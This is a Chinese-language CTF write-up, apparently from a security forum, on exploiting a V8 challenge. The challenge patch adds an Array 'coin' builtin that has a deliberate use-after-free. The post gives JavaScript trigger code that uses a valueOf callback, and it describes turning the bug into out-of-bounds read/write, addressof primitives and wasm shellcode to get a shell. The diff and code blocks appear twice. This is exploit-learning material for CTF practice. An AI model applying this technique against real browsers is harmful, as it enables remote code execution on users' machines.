首页
社区
课程
招聘
browser pwn入门(二)
发表于: 2023-12-13 21:46 9559

browser pwn入门(二)

2023-12-13 21:46
9559

再来看一道oob的题目

先看diff

作者贴心提示了我们只能用于release版本不能用于debug,编译release的时候记得在args.gn里加上这几行

不然用不了job命令

作者为array容器新增了一个了一个coin方法,接收两个参数length和value,超过两个则会返回undefined_value。

获取array然后申请一个局部变量存储elements字段,声明value和length,然后对coin的两个参数分别调用ToNumber函数。

判断array的length是否大于37,如果大于的话则将value写入到之前声明的局部变量elements[37]中。

通过分析diff来寻找漏洞,由于ToNumber函数可以出发回调函数,所以如果先申请一个length小于37的array,然后在回调函数中修改array length的值,让其大于37,就可以让array的elements将原来的空间释放掉然后重新申请一个更大的空间,但是局部变量elements并没有检测是否出现上述情况,所以发生了UAF,导致可能会发生数组越界写。

有了大致思路以后来摸摸这个题

先尝试着利用回调函数修改float_array的length
图片描述

可以看到成功修改了array的长度,但是修改array的长度并不是关键点,还是要将主要精力放在越界写上,尝试在调用coin的array下面申请一个新的array,然后让越界写刚好能够写到新的array的length字段,这样就可以获得一个大范围的越界任意读写。

进行以下尝试:

图片描述

其中红色方框是float_array的对象结构,蓝色方框是已经被弃用的大小为30的elements,绿色方框则是victim,包含了对象结构以及大小12的elements结构,可以看到victim的结构是紧挨着被弃用的elements的,如果发生越界写是完全可以通过控制float_array的大小来控制越界写到victim结构的什么字段的,当float_array大小为30的时候,写到的是0x158偏移的位置,而victime的length字段在偏移0x138的位置,也就是说float_array的elements长度再加4*8就可以覆盖victime的length字段。

将float_array.length改成34以后,得到如下结果
图片描述

现在就获得了大范围越界读写功能了。

接下来借此实现一下功能函数
首先是addressof函数,只需要申请一个array,然后里面写上一个特殊值,然后用victim进行定位,将object存到新申请的array里,然后用victim进行读取即可完成addressof功能

图片描述

可以看到已经成功实现了addressof
接下来实现read64和write64

还是非常好实现的

最后考虑wasm写shellcode来getshell,常规的执行shellcode的方法即可

起shell
图片描述

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
 }
 }  // namespace
  
+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+  uint32_t len = args.length();
+  if (len != 3) {
+     return ReadOnlyRoots(isolate).undefined_value();
+  }
+  Handle<JSReceiver> receiver;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+         isolate, receiver, Object::ToObject(isolate, args.receiver()));
+  Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+  FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+  Handle<Object> value;
+  Handle<Object> length;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+             isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+             isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+  uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+  if(37 < array_length){
+    elements.set(37, value->Number());
+    return ReadOnlyRoots(isolate).undefined_value(); 
+  }
+  else{
+    return ReadOnlyRoots(isolate).undefined_value();
+  }
+}
+
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
   Handle<Object> receiver = args.receiver();
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 3412edb89d..1837771098 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -367,6 +367,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayCoin)                                   \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index f5fa8f19fe..03a7b601aa 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1701,6 +1701,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayCoin:
+      return Type::Receiver();
  
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index e7542dcd6b..059b54731b 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1663,6 +1663,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
+   SimpleInstallFunction(isolate_, proto, "coin",
+               Builtins::kArrayCoin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
     SimpleInstallFunction(isolate_, proto, "find",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
 }
 }  // namespace
  
+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+  uint32_t len = args.length();
+  if (len != 3) {
+     return ReadOnlyRoots(isolate).undefined_value();
+  }
+  Handle<JSReceiver> receiver;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+         isolate, receiver, Object::ToObject(isolate, args.receiver()));
+  Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+  FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+  Handle<Object> value;
+  Handle<Object> length;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+             isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+             isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+  uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+  if(37 < array_length){
+    elements.set(37, value->Number());
+    return ReadOnlyRoots(isolate).undefined_value(); 
+  }
+  else{
+    return ReadOnlyRoots(isolate).undefined_value();
+  }
+}
+
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
   Handle<Object> receiver = args.receiver();
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 3412edb89d..1837771098 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -367,6 +367,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayCoin)                                   \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index f5fa8f19fe..03a7b601aa 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1701,6 +1701,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayCoin:
+      return Type::Receiver();
  
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index e7542dcd6b..059b54731b 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1663,6 +1663,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
+   SimpleInstallFunction(isolate_, proto, "coin",
+               Builtins::kArrayCoin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
     SimpleInstallFunction(isolate_, proto, "find",
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}
var length=123123;
var value=
{
    valueOf:function()
    {
        float_array.length=100;
        return 123123;
    }
}
var float_array=[];
float_array.length=30;
%DebugPrint(float_array);
float_array.coin(length,value);
%DebugPrint(float_array);
%SystemBreak();
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}
var length=123123;
var value=
{
    valueOf:function()
    {
        float_array.length=100;
        return 123123;
    }
}
var float_array=[];
float_array.length=30;
%DebugPrint(float_array);
float_array.coin(length,value);
%DebugPrint(float_array);
%SystemBreak();

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//